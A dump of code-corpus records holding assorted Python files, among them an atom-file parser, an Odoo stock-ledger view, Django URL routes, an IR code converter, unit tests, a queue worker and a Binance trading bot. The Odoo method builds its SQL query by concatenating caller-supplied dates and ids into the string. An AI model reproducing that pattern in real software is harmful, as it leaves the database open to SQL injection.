Constructor(file)\n file.close()\n return Atoms, Ligands\n\ndef Constructor(file):\n Atoms = []\n Ligands = []\n for line in file.readlines():\n atomInfo = parser(line)\n Atom = buildAtom(atomInfo)\n if Atom.Residue == \"LIG\":\n Ligands.append(Atom)\n else:\n Atoms.append(Atom)\n return Atoms, Ligands\n\ndef parser(line):\n parsed = \" \".join(line.split())\n if DEBUG: print(parsed)\n parsedLine = parsed.split(\" \")\n if parsedLine[3] == \"LIG\": # Sets the Radius to be None\n parsedLine.append(0)\n try:\n float(parsedLine[4]) # Works if there is no Chain ID. Chain ID will be set to None\n parsedLine.insert(4, None)\n except:\n pass # Do nothing as thier is a Chain ID\n if len(parsedLine) != 11: # This is incase a general atom doesn't have a radius.\n parsedLine.append(0)\n if DEBUG: print(parsedLine)\n return parsedLine\n\ndef buildAtom(atomInfo):\n return Atom.Atom(atomInfo[0], int(atomInfo[1]), atomInfo[2], atomInfo[3], atomInfo[4], float(atomInfo[5]), float(atomInfo[6]), float(atomInfo[7]), float(atomInfo[8]), float(atomInfo[9]), float(atomInfo[10]))\n\"\"\"\ndef outputGeneration(results):\n outputDir = \"C:\\\\Users\\\\Jason\\\\Desktop\\\\Projects\\\\Research\\\\VolumeApprox\\\\Files\\\\Output\"\n fileName = filePath.split(\"/\")\n filePath = outputDir + \"\\\\Outputcomplex.txt\"\n outputFile = open(filePath, 'w+')\n for key in results:\n outputFile.write(\"Number of random points generated: \" + str(key) + \" \")\n for res in results[key]:\n outputFile.write(str(num) + \", \" + str(ratio) + \"\\n\")\n outputFile.close()\n\"\"\"\n","sub_path":"VolumeApprox/bin/Utility.py","file_name":"Utility.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"554461079","text":"# -*- coding: utf-8 -*-\nfrom openerp import models, fields, api, tools, _\nfrom openerp.exceptions import ValidationError\nimport openerp.addons.decimal_precision as dp\n\n\nclass ProductStockLedger(models.Model):\n _name = 'product.stock.ledger'\n _description = 'Product Stock Ledger'\n _auto = False\n _order = 'product_id,date_invoice,invoice_number,price_unit,uos_id'\n\n id = fields.Integer(\n string='ID',\n readonly=True,\n )\n product_id = fields.Many2one(\n 'product.product',\n string='Product Name',\n readonly=True,\n )\n date_invoice = fields.Date(\n string='Date',\n readonly=True,\n )\n invoice_number = fields.Char(\n string='Invoice Number',\n readonly=True,\n )\n in_qty = fields.Float(\n string='In',\n readonly=True,\n digits_compute=dp.get_precision('Account'),\n )\n out_qty = fields.Float(\n string='Out',\n readonly=True,\n digits_compute=dp.get_precision('Account'),\n )\n balance_qty = fields.Float(\n string='Balance',\n readonly=True,\n digits_compute=dp.get_precision('Account'),\n )\n standard_price = fields.Float(\n string='Cost Price',\n readonly=True,\n digits_compute=dp.get_precision('Account'),\n )\n price_unit = fields.Float(\n string='Unit Price',\n readonly=True,\n digits_compute=dp.get_precision('Account'),\n )\n uos_id = fields.Many2one(\n 'product.uom',\n string='Unit of Measure',\n readonly=True,\n )\n amount_total = fields.Float(\n string='Total Amount',\n readonly=True,\n digits_compute=dp.get_precision('Account'),\n )\n price_balance = fields.Float(\n string='Balance Price',\n readonly=True,\n digits_compute=dp.get_precision('Account'),\n )\n\n @api.model\n def _compute_stock_ledger(self, products=[],\n date_start=False, date_end=False):\n if not products:\n raise ValidationError(_(\"Not Products!!\"))\n\n condition = \"\"\n\n # Products\n if len(products) == 1:\n condition += \" line.product_id = \" + str(products[0])\n else:\n condition += \" line.product_id in \" + str(tuple(products))\n\n # Start Date\n if date_start:\n condition += \" and inv.date_invoice >= \" + \"'\" + date_start + \"'\"\n\n # End Date\n if date_end:\n condition += \" and inv.date_invoice <= \" + \"'\" + date_end + \"'\"\n\n tools.drop_view_if_exists(self._cr, 'product_stock_ledger')\n self._cr.execute(\"\"\"CREATE OR REPLACE VIEW product_stock_ledger AS\n (SELECT ROW_NUMBER() OVER (ORDER BY line.product_id, inv.date_invoice, inv.number, line.price_unit, line.uos_id) AS id,\n line.product_id AS product_id,\n inv.date_invoice AS date_invoice,\n inv.number AS invoice_number,\n SUM(CASE inv.type WHEN 'in_invoice' THEN line.quantity WHEN 'in_refund' THEN (-1) * line.quantity ELSE 0.0 END) AS in_qty,\n SUM(CASE inv.type WHEN 'out_invoice' THEN line.quantity WHEN 'out_refund' THEN (-1) * line.quantity ELSE 0.0 END) AS out_qty,\n (SUM(SUM(CASE inv.type WHEN 'in_invoice' THEN line.quantity WHEN 'in_refund' THEN (-1) * line.quantity ELSE 0.0 END) - SUM(CASE inv.type WHEN 'out_invoice' THEN line.quantity WHEN 'out_refund' THEN (-1) * line.quantity ELSE 0.0 END)) OVER (PARTITION BY line.product_id ORDER BY line.product_id, inv.date_invoice, inv.number, line.price_unit, line.uos_id)) AS balance_qty,\n (SELECT value_float FROM ir_property WHERE name = 'standard_price' and res_id = concat('product.template,', line.product_id) LIMIT 1) AS standard_price,\n (SUM(line.price_subtotal) / SUM(line.quantity)) AS price_unit,\n line.uos_id AS uos_id,\n SUM(line.price_subtotal) AS amount_total,\n ((SUM(SUM(CASE inv.type WHEN 'in_invoice' THEN line.quantity WHEN 'in_refund' THEN (-1) * line.quantity ELSE 0.0 END) - SUM(CASE inv.type WHEN 'out_invoice' THEN line.quantity WHEN 'out_refund' THEN (-1) * line.quantity ELSE 0.0 END)) OVER (PARTITION BY line.product_id ORDER BY line.product_id, inv.date_invoice, inv.number, line.price_unit, line.uos_id)) * (SELECT value_float FROM ir_property WHERE name = 'standard_price' and res_id = concat('product.template,', line.product_id) LIMIT 1)) AS price_balance\n FROM account_invoice_line line\n LEFT JOIN account_invoice inv ON inv.id = line.invoice_id\n WHERE inv.state in ('paid') and %s\n GROUP BY line.product_id, inv.date_invoice, inv.number, line.price_unit, line.uos_id, line.price_subtotal, line.quantity\n ORDER BY line.product_id, inv.date_invoice, inv.number, line.price_unit, line.uos_id)\"\"\" % (condition))\n\n\nclass ProductProduct(models.Model):\n _inherit = \"product.product\"\n stock_ledger_ids = fields.One2many(\n 'product.stock.ledger',\n 'product_id',\n string='Stock Ledger',\n )\n","sub_path":"product_stock_ledger/models/product_stock_ledger.py","file_name":"product_stock_ledger.py","file_ext":"py","file_size_in_byte":5363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"238773667","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\n리스트 = ['intra.h','intra.c', 'define.h', 'run.py']\nfor i in 리스트: #리스트에서 원소를 하나씩 뺴서 i에 대입한다.\n split= i.split(\".\") #split는 split(a)일 때 a를 기준으로 원소들을 쪼갠다.\n if (split[1] == \"h\") or (split[1]==\"c\") : #split[1]: 쪼갠 뒤의 첫번째 문자\n #if 함수 내에서 주어진 조건, 즉 비교연산자 or을 통하여 주어진 두개의 확장자 중 하나라도 만족하면 출력한다.\n print(i)\n\n","sub_path":"ex160.py","file_name":"ex160.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"315059514","text":"from django.conf.urls import url\nfrom django.contrib import admin\nadmin.autodiscover()\nfrom predictor.views import *\nurlpatterns = [\n\turl(r'admin/?', admin.site.urls),\n url(r'games/(?P[\\w]+)?/?$', predict, name=\"predict\"),\n url(r'register/?$',register, name=\"register\"),\n url(r'scores/?$',scores, name=\"scores\"),\n url(r'update/?$',update, name=\"update\"),\n url(r'reminder/?$',reminder, name=\"reminder\"),\n url(r'',register, name=\"home\"),\n \n]\n","sub_path":"tournament/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"417490313","text":"# -------------------------------------------------------------------------------\n# Name: /home/dfly/pct/ptf/rsc/ir_itach/tools/import_IR_codes_from_itach_db.py\n#\n# Description: Utility to convert RCU code from itach database format to PCT ir_itach format\n#\n# usage: import_IR_codes_from_itach_db -i -o \n# inputfile - as retrieved from iTach database\n# outputfile - in the format used in PCT\n#\n#\n#\n# *------------------------------------------------------------------------------\n# Name / Date / Notes:\n# *------------------------------------------------------------------------------\n# Yuval Fuchs 07-Apr-2016 Initial Release\n# Yuval Fuchs 31-May-2016 changed key names to support common strict naming convention,\n# Few changes for ease of use.\n# -------------------------------------------------------------------------------\n# -------------------------------------------------------------------------------\n# ------------------------------- CISCO CONFIDENTIAL ----------------------------\n# ----------------- Copyright (c) 2016, Cisco Systems, Inc.----------------------\n# -------------------------------------------------------------------------------\n# -------------------------------------------------------------------------------\n\n\nimport os\nimport re\nimport sys\nimport getopt\n\nkeys_file_path = ''\n\ngeneric_ir_code_map_to_itach_db = {\n 'power': 'POWER TOGGLE',\n 'menu': 'MENU MAIN',\n 'guide': 'GUIDE',\n 'info': 'INFO',\n 'clear': None, # This key usually marked with the name of the broadcaster. It may serves to set a starting state.\n 'input_tv': None,\n 'teletext': None,\n 'box_office': None,\n 'favorite': 'FAVORITE',\n 'interactive': 'INTERACTIVE',\n 'mosaic': 'MOSAIC',\n 'summary': 'SUMMARY',\n 'select': 'CURSOR ENTER',\n 'arrow_up': 'CURSOR UP',\n 'arrow_left': 'CURSOR LEFT',\n 'arrow_right': 'CURSOR RIGHT',\n 'arrow_down': 'CURSOR DOWN',\n 'volume_down': 'VOLUME DOWN',\n 'volume_up': 'VOLUME UP',\n 'channel_up': 'CHANNEL UP',\n 'channel_down': 'CHANNEL DOWN',\n 'mute': 'MUTE TOGGLE',\n 'back': 'PREVIOUS CHANNEL', # more names, probably all the same: backup, return, last\n 'services': 'None',\n 'exit': 'EXIT',\n 'reverse': 'REVERSE',\n 'play': 'PLAY',\n 'fast_forward': 'FORWARD',\n 'stop': 'STOP',\n 'pause': 'PAUSE',\n 'record': 'RECORD',\n 'key_red': 'FUNCTION RED',\n 'key_green': 'FUNCTION GREEN',\n 'key_yellow': 'FUNCTION YELLOW',\n 'key_blue': 'FUNCTION BLUE',\n 'key0': 'DIGIT 0',\n 'key1': 'DIGIT 1',\n 'key2': 'DIGIT 2',\n 'key3': 'DIGIT 3',\n 'key4': 'DIGIT 4',\n 'key5': 'DIGIT 5',\n 'key6': 'DIGIT 6',\n 'key7': 'DIGIT 7',\n 'key8': 'DIGIT 8',\n 'key9': 'DIGIT 9',\n 'message': 'MESSAGE',\n 'help': 'HELP',\n}\n\n\ndef usage(argv):\n print('\\n Usage: {} -i -o \\n'.format(argv[0]))\n exit(1)\n\n\ndef get_files_name(argv):\n inputfile = None\n outputfile = None\n try:\n opts, args = getopt.getopt(argv[1:], \"uhi:o:\", [\"ifile=\", \"ofile=\"])\n except getopt.GetoptError:\n usage(argv)\n for opt, arg in opts:\n if opt in ('-h', '--help', '-u', '--usage'):\n usage(argv)\n elif opt in (\"-i\", \"--ifile\"):\n inputfile = arg\n elif opt in (\"-o\", \"--ofile\"):\n outputfile = arg\n\n if inputfile is None or outputfile is None:\n usage(argv)\n\n print('Input file is:', inputfile)\n print('Output file is: ', outputfile)\n return (inputfile, outputfile)\n\n\nreverse_dict_map = dict(zip(generic_ir_code_map_to_itach_db.values(), generic_ir_code_map_to_itach_db.keys()))\n\n(keys_file_name_db, keys_file_name_pct) = get_files_name((sys.argv[:]))\n\ntry:\n in_file = open(os.path.join(keys_file_path, keys_file_name_db), 'rU')\nexcept IOError as e:\n print(\"Error: Can't read file: {} - {}\".format(keys_file_name_db, e))\n exit(1)\n\ntry:\n outfile_full_path_name = os.path.join(keys_file_path, keys_file_name_pct)\n out_file = open(outfile_full_path_name, 'w')\nexcept IOError as e:\n print(\"Error: Can't write file: {} - {}\".format(outfile_full_path_name, e))\n exit(1)\n\nheader_text = '''\n#\n# key definition file base on source textfile:\n# {}\n# IR Code Set: < please specify here the definition identifier in global cache database or some like to the source of the definitions >\n#\n'''[1:-1].format(keys_file_name_db)\n\nout_file.write(header_text)\n\nfor line in in_file:\n match = (re.search('[\" ]+([\\w ]+)[\" ,]+([\\w :,]+)[\" ]+,[\" ]+([\\w ]+)', line))\n\n if match:\n itach_db_key_name = match.group(1)\n try:\n key_name = reverse_dict_map[itach_db_key_name]\n except:\n key_name = 'itachDB_' + itach_db_key_name\n # print ('[{}] {}'.format(key_name, match.group(2)))\n out_file.write('[{}] {}\\n'.format(key_name, match.group(2)))\n else:\n out_file.write('# %s' % line)\n\nprint('''\nConversion done.\n\nPlease update the output file: {file_path_name}\n1. Check if there are key names with the prefix: itachDB_\n This prefix say that a key with such name is defined in the input text file but can not match any key name as defined in the\n ir_itach resource. (It is assumed that the source of the input file is from GlobalCache itach database.)\n If this is not a spelling mistake, please consider adding this keyname to the ir_itach key list.\n Non common keys, retrieved by recording should be marked with the prefix 'private_'\n\n2. Please update the heading comment of the keys definition file so it is clear what is the source of those definitions\n or if there's anything else that a later user/modifier should know.\n\n'''.format(file_path_name=outfile_full_path_name))\n","sub_path":"Learning/PCT/ptf/rsc/ir_itach/tools/import_IR_codes_from_itach_db.py","file_name":"import_IR_codes_from_itach_db.py","file_ext":"py","file_size_in_byte":5753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"592457507","text":"'''\nTest pyFLUT/utilities.py\n'''\nfrom __future__ import division\nfrom builtins import zip\nfrom past.utils import old_div\n\nimport pyFLUT.utilities\nimport cantera\nimport numpy as np\n\nmechanism = 'files/ulf/smooke.xml'\ncomposition = {\n 'CH4': 0.5,\n 'O2': 0.5\n}\ncomp_new = {\n 'O2': 0.23,\n 'N2': 0.77\n}\nP = 101325.0\nT = 500.0\n\n\ndef create_gas():\n gas = cantera.Solution(mechanism)\n gas.TPY = T, P, composition\n return gas\n\n\ndef test_calc_hf():\n gas = create_gas()\n\n # test composition dict\n H = gas.enthalpy_mass\n assert H == pyFLUT.utilities.calc_hf(gas, T, P, composition)\n\n # test compisition array\n y = gas.Y\n assert H == pyFLUT.utilities.calc_hf(gas, T, P, y)\n\n\ndef test_calc_Tf():\n gas = create_gas()\n H = gas.enthalpy_mass\n assert np.isclose(T, pyFLUT.utilities.calc_Tf(gas, H, P,\n composition))\n y = gas.Y\n assert np.isclose(T, pyFLUT.utilities.calc_Tf(gas, H, P, y))\n\n\ndef test_convert_mass_to_mole():\n gas = create_gas()\n X = pyFLUT.utilities.convert_mass_to_mole(comp_new, gas)\n mw = gas.mean_molecular_weight\n i_O2 = gas.species_index('O2')\n X_O2 = comp_new['O2'] * mw / gas.molecular_weights[i_O2]\n assert X['O2'] == X_O2\n\n\ndef test_convert_mole_to_mass():\n gas = create_gas()\n X = pyFLUT.utilities.convert_mass_to_mole(comp_new, gas)\n gas.Y = composition\n Y = pyFLUT.utilities.convert_mole_to_mass(X, gas)\n for sp, v in Y.items():\n assert v == comp_new[sp]\n\n\ndef test_read_dict_list():\n n = 11\n methods_name = ['linspace', 'logspace', 'arange']\n methods = [np.linspace, np.logspace, np.arange]\n method_values = [\n [0, 1, n],\n [-2, 2, n],\n [0, 0.1, 1]\n ]\n for name, method, values in zip(\n methods_name, methods, method_values):\n x = method(*values)\n assert np.allclose(\n x,\n pyFLUT.utilities.read_dict_list(\n method=name,\n values=values))\n\n # test list\n x = [0, 0.5, 1]\n assert np.allclose(\n x,\n pyFLUT.utilities.read_dict_list(method='list',\n values=x))\n\n\ndef test_normalize():\n x = {'CO': 1, 'CO2': 1}\n x_norm = pyFLUT.utilities.normalize(x)\n for v in x_norm.values():\n assert v == 0.5\n\n\ndef test_fix_composition():\n gas = create_gas()\n stream = {\n 'Y': {'CO': 1,\n 'CO2': 1},\n 'T': 700.0\n }\n stream_fixed = pyFLUT.utilities.fix_composition(stream,\n gas)\n for v in stream_fixed['Y'].values():\n assert v == 0.5\n\n x = pyFLUT.utilities.convert_mass_to_mole(stream['Y'], gas)\n x_1 = pyFLUT.utilities.convert_mass_to_mole(stream_fixed['Y'],\n gas)\n for sp, v in stream_fixed['X'].items():\n assert v == x[sp]\n assert v == x_1[sp]\n\n\ndef test_fix_composition_T():\n gas = create_gas()\n stream = {\n 'Y': {'CO': 1,\n 'CO2': 1},\n 'T': {'min': 300.0,\n 'max': 700}\n }\n stream_fixed = pyFLUT.utilities.fix_composition_T(stream,\n gas)\n for v in stream_fixed['Y'].values():\n assert v == 0.5\n\n x = pyFLUT.utilities.convert_mass_to_mole(stream['Y'], gas)\n x_1 = pyFLUT.utilities.convert_mass_to_mole(stream_fixed['Y'],\n gas)\n for sp, v in stream_fixed['X'].items():\n assert v == x[sp]\n assert v == x_1[sp]\n\n T = sorted([Ti for Ti in stream['T'].values()])\n assert np.allclose(stream_fixed['T'], T)\n\n # for i in ('min', 'max'):\n H = []\n for Ti in T:\n gas.TP = Ti, None\n H.append(gas.enthalpy_mass)\n\n assert np.allclose(stream_fixed['H'], H)\n\n\ndef test_calc_alphastoich():\n gas = create_gas()\n fuel = {\n 'Y': {'CH4': 1}\n }\n ox = {\n 'X': {'O2': 0.23,\n 'N2': 0.77}\n }\n ox = pyFLUT.utilities.fix_composition(ox, gas)\n x_ox = ox['X']\n alpha_st = pyFLUT.utilities.calc_alphastoich(fuel, ox, gas)\n\n M_O2 = gas.molecular_weights[gas.species_index('O2')]\n M_N2 = gas.molecular_weights[gas.species_index('N2')]\n M_CH4 = gas.molecular_weights[gas.species_index('CH4')]\n alpha_st_c = 2 * (M_O2 + x_ox['N2'] / x_ox['O2'] * M_N2) / M_CH4\n\n assert np.isclose(alpha_st, alpha_st_c)\n\n z_st = pyFLUT.utilities.calc_zstoich(fuel, ox, gas)\n\n assert np.isclose(z_st, old_div(1., (1. + alpha_st_c)))\n\n alpha_st = pyFLUT.utilities.calc_alphastoich(fuel, ox, mechanism)\n assert np.isclose(alpha_st, alpha_st_c)\n","sub_path":"test/test_utilities.py","file_name":"test_utilities.py","file_ext":"py","file_size_in_byte":4680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"271591914","text":"#coding:utf-8\nimport time,sys,queue\nfrom multiprocessing.managers import BaseManager\n\n# 创建类似的 QueueManager\nclass QueueManager(BaseManager):\n pass\n# 由于这个 QueueManager 只从网络上获取 Queue,所以注册时只提供名字\nQueueManager.register('get_task_queue')\nQueueManager.register('get_result_queue')\n# 连接到服务器,也就是运行 35.process.py 的机器\nserver_addr='127.0.0.1'\nprint('连接到服务器%s...' % server_addr)\n# 端口和验证码注意保持与 35.proces.py 设置的��全一致\nm=QueueManager(address=(server_addr,5000),authkey=b'abc')\n# 从网络连接\nm.connect()\n# 获取 Queue 的对象\ntask=m.get_task_queue()\nresult = m.get_result_queue()\n# 从 task 队列取任务,并把结果写入 result 队列\nfor i in range(10):\n try:\n n=task.get(timeout=1)\n print('运行任务%d * %d ' % (n,n) )\n r='%d * %d = %d' % (n,n,n*n)\n time.sleep(1)\n result.put(r)\n except queue.Empty:\n print('任务队列为空')\nprint('处理结束')","sub_path":"pythonAPI/35.process2.py","file_name":"35.process2.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"357953809","text":"# Copyright (c) 2015 - 2016 Intel Corporation.\n#\n# Permission is hereby granted, free of charge, to any person obtaining\n# a copy of this software and associated documentation files (the\n# \"Software\"), to deal in the Software without restriction, including\n# without limitation the rights to use, copy, modify, merge, publish,\n# distribute, sublicense, and/or sell copies of the Software, and to\n# permit persons to whom the Software is furnished to do so, subject to\n# the following conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nfrom __future__ import print_function\nfrom simplejson import dumps as serialize_json\nfrom twilio.rest import TwilioRestClient\nfrom .config import TWILIO_CONFIG\nfrom .scheduler import SCHEDULER\n\ndef send_sms(payload):\n\n \"\"\"\n Send SMS via Twilio.\n \"\"\"\n\n if not TWILIO_CONFIG:\n return\n\n client = TwilioRestClient(TWILIO_CONFIG.account_sid, TWILIO_CONFIG.auth_token)\n\n def perform_request():\n\n client.messages.create(\n body=serialize_json(payload),\n to=TWILIO_CONFIG.inbound_number,\n from_=TWILIO_CONFIG.outbound_number\n )\n\n print(\"Sent SMS message.\")\n\n SCHEDULER.add_job(perform_request)\n","sub_path":"fire-alarm/python/iot_fire_alarm/sms.py","file_name":"sms.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"451825460","text":"from StrategyEvaluator import StrategyEvaluator\r\nfrom Strategies import Strategies\r\n\r\nfrom Binance import Binance\r\nfrom TradingModel import TradingModel\r\nimport sys\r\nimport json\r\nimport time\r\nfrom decimal import Decimal, getcontext\r\n\r\n\r\n# Now, We will put everything together. Continuing with our command line interface, we will allow ourselves\r\n# to backtest strategies, evaluate them (see what coins have those strategies fulfilled right now), and if\r\n# any coins are eligible, we will plot & backtest that strategy on that particular coin, and if we are\r\n# happy with the results, we can place an order.\r\n\r\n# We will update this function a little bit, to make it more customizable\r\ndef BacktestStrategies(symbols=[], interval='4h', plot=False, strategy_evaluators=[],\r\n options=dict(starting_balance=100, initial_profits=1.01, initial_stop_loss=0.9,\r\n incremental_profits=1.005, incremental_stop_loss=0.995)):\r\n coins_tested = 0\r\n trade_value = options['starting_balance']\r\n for symbol in symbols:\r\n print(symbol)\r\n model = TradingModel(symbol=symbol, timeframe=interval)\r\n for evaluator in strategy_evaluators:\r\n resulting_balance = evaluator.backtest(\r\n model,\r\n starting_balance=options['starting_balance'],\r\n initial_profits=options['initial_profits'],\r\n initial_stop_loss=options['initial_stop_loss'],\r\n incremental_profits=options['incremental_profits'],\r\n incremental_stop_loss=options['incremental_stop_loss'],\r\n )\r\n\r\n if resulting_balance != trade_value:\r\n print(evaluator.strategy.__name__\r\n + \": starting balance: \" + str(trade_value)\r\n + \": resulting balance: \" + str(round(resulting_balance, 2)))\r\n\r\n if plot:\r\n model.plotData(\r\n buy_signals=evaluator.results[model.symbol]['buy_times'],\r\n sell_signals=evaluator.results[model.symbol]['sell_times'],\r\n plot_title=evaluator.strategy.__name__ + \" on \" + model.symbol)\r\n\r\n evaluator.profits_list.append(resulting_balance - trade_value)\r\n evaluator.updateResult(trade_value, resulting_balance)\r\n\r\n coins_tested = coins_tested + 1\r\n\r\n for evaluator in strategy_evaluators:\r\n print(\"\")\r\n evaluator.printResults()\r\n\r\n\r\n# Now, We will write the function that checks the current market conditions\r\n# & allows us to place orders if the conditions are good\r\n\r\n# But First, We need to define the messages that the user will see:\r\n\r\nstrategy_matched_symbol = \"\\nStragey Matched Symbol! \\\r\n\t\\nType 'b' then ENTER to backtest the strategy on this symbol & see the plot \\\r\n\t\\nType 'p' then ENTER if you want to Place an Order \\\r\n\t\\nTyping anything else or pressing ENTER directly will skip placing an order this time.\\n\"\r\n\r\nask_place_order = \"\\nType 'p' then ENTER if you want to Place an Order \\\r\n\t\\nTyping anything else or pressing ENTER directly will skip placing an order this time.\\n\"\r\n\r\n\r\ndef EvaluateStrategies(symbols=[], strategy_evaluators=[], interval='1h',\r\n options=dict(starting_balance=100, initial_profits=1.01, initial_stop_loss=0.9,\r\n incremental_profits=1.005, incremental_stop_loss=0.995)):\r\n for symbol in symbols:\r\n print(symbol, flush=True)\r\n\r\n model = TradingModel(symbol=symbol, timeframe=interval)\r\n for evaluator in strategy_evaluators:\r\n if evaluator.evaluate(model):\r\n print(\"\\n\" + evaluator.strategy.__name__ + \" matched on \" + symbol, flush=True)\r\n\r\n print(\"\\nPlacing Buy Order. \")\r\n\r\n # We need to update the PlaceOrder function - we don't know what symbol we will be buying beforehand,\r\n # but let's say that we have received a symbol on coin ABCETH, where 1 ABC = 0.0034 ETH.\r\n # Binance only allows us to make orders ABOVE 0.01 ETH, so we need to buy at least 3 ABC.\r\n # However, if we received a symbol on XYZETH, and say 1 XYZ = 3 ETH, maybe we only want to buy 0.05 XYZ.\r\n # Therfore, we need to specify the amount we need to buy in terms of QUOTE ASSET (ETH), not base asset.\r\n # # We are changing the PlaceOrder function to reflect that.\r\n order_result = model.exchange.PlaceOrder(model.symbol, \"BUY\", \"MARKET\", quantity=0.02, test=True)\r\n if \"code\" in order_result:\r\n print(\"\\nERROR.\")\r\n print(order_result)\r\n lf.write(\"order: \")\r\n\r\n else:\r\n print(\"\\nSUCCESS.\")\r\n print(order_result)\r\n model.exchange.GetSymbolData(\"\")\r\n #sys.exit(\"exiting program an order has been placed\")\r\n\r\n\r\n\r\nopening_text = \"\\nWelcome to Matthew's Crypto Trading Bot. \\n \\\r\n\tPress 'e' (ENTER) to execute trading strategy \\n \\\r\n\tPress 'q' (ENTER) to quit. \\n \\\r\n \\tPress 'CTRL + c' (ENTER) to stop trading\"\r\n\r\n\r\ndef Main():\r\n #log file.. when bot is running in paper mode log trades\r\n lf = open('tradelog.txt', 'w')\r\n lf.write(\"welcoem to trade bot's log file\")\r\n print(opening_text)\r\n answer = input()\r\n if answer == 'e':\r\n exchange = Binance()\r\n symbols = [\"BNBETH\"] #, \"BTCUSDT\", \"BNBBTC\", \"LTCBTC\", \"BANDBTC\", \"ETHBTC\"] #exchange.GetTradingSymbols(quoteAssets=[\"ETH\"])\r\n\r\n strategy_evaluators = [\r\n #StrategyEvaluator(strategy_function=Strategies.bollStrategy),\r\n #StrategyEvaluator(strategy_function=Strategies.maStrategy),\r\n StrategyEvaluator(strategy_function=Strategies.ichimokuBullish)\r\n ]\r\n #loop 20 times a second\r\n while True:\r\n try:\r\n t1 = time.monotonic()\r\n print(str(t1), flush=True)\r\n #BacktestStrategies(symbols=symbols, interval='5m', plot=True, strategy_evaluators=strategy_evaluators)\r\n EvaluateStrategies(symbols=symbols, interval='5m', strategy_evaluators=strategy_evaluators)\r\n t2 = time.monotonic()\r\n if (t2 - t1) < 0.05:\r\n time.sleep(0.05)\r\n except KeyboardInterrupt:\r\n print(\"key board interrupt by user\")\r\n return\r\n elif answer == 'q':\r\n sys.exit(\"user quit program\")\r\n\r\n lf.close()\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n Main()\r\n","sub_path":"TradingBot.py","file_name":"TradingBot.py","file_ext":"py","file_size_in_byte":6612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"211591594","text":"from stream import stream\nfrom char_stream import char_stream\nfrom eval_ast import parse, Env\nfrom ast_dict import AST\nfrom tokens import token_list\n\nbuiltins = locals()[\"__builtins__\"]\n\ndef get_builtin_env():\n paras = dir(builtins)\n args = [builtins.__dict__.get(a) for a in paras]\n return Env(parms = paras, args =args)\n\ndef pysh(psh_file = \"test2.psh\"):\n env = get_builtin_env()\n with open(psh_file) as f:\n codes = char_stream(f.read())\n #print(codes._stream)\n print(\"\\n\")\n tokens = token_list(codes).tokens\n #stream(tokens)\n ast_tree = AST(stream(tokens))\n for node in ast_tree.ast:\n print(\":> \", parse(node, env)())\n \"\"\"\n print(\"++++++++++++++++++++++++++++++++++\", \"www\")\n for a in ast_tree.ast:\n print(a)\n for token in tokens:\n #print (token)\n print(token)\n\n ast_tree = AST(tokens.tokens)\n for node in ast_tree.ast:\n parse(node, env)()\n \"\"\"\n\n\nif __name__ == \"__main__\":\n pysh()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"533768738","text":"def create_dist(sample, parameters=[5, 1]):\n mu = parameters[0]\n sigma = parameters[1]\n\n X = np.linspace(mu - 4 * sigma, mu + 4 * sigma, 1000)\n\n plt.plot(X, norm.pdf(X, loc=mu, scale=sigma))\n\n plt.scatter(sample, norm.pdf(sample, loc=mu, scale=sigma), color='r')\n\n plt.show()\n \nwith open('sample.pickle', 'rb') as handle:\n s = pickle.load(handle)\n\n\ndef is_drug(sensitivity, specificity, prior):\n likelihood = sensitivity\n\n denom = prior * sensitivity + (1 - prior) * (1 - specificity)\n\n return likelihood * prior / denom","sub_path":"mod-2/week-1/day-5-Bayes_theorem/supplement.py","file_name":"supplement.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"25483283","text":"from django.conf.urls import url, include\nfrom django.urls import path, reverse_lazy\n# from demosite import settings\nfrom django.contrib.auth import views as auth_views\nfrom voucher import views\n\napp_name = 'voucher'\n\nurlpatterns = [\n path('', views.voucher_home, name='voucher-home'),\n path('activate//', views.voucher_activate, name='activate'),\n path('vouchers/', views.vouchers, name='vouchers'),\n path('voucher-detail//', views.voucher_details, name='voucher-detail'),\n\n path('used-vouchers/', views.used_vouchers, name='used-vouchers'),\n path('used-voucher-detail//', views.used_voucher_details, name='used-voucher-detail'),\n\n path('sold-vouchers/', views.sold_vouchers, name='sold-vouchers'),\n path('sold-voucher-detail//', views.sold_voucher_details, name='sold-voucher-detail'),\n path('generate/', views.voucher_generate, name='voucher-generate'),\n path('recharge/', views.recharge_user_account_view, name='recharge'),\n 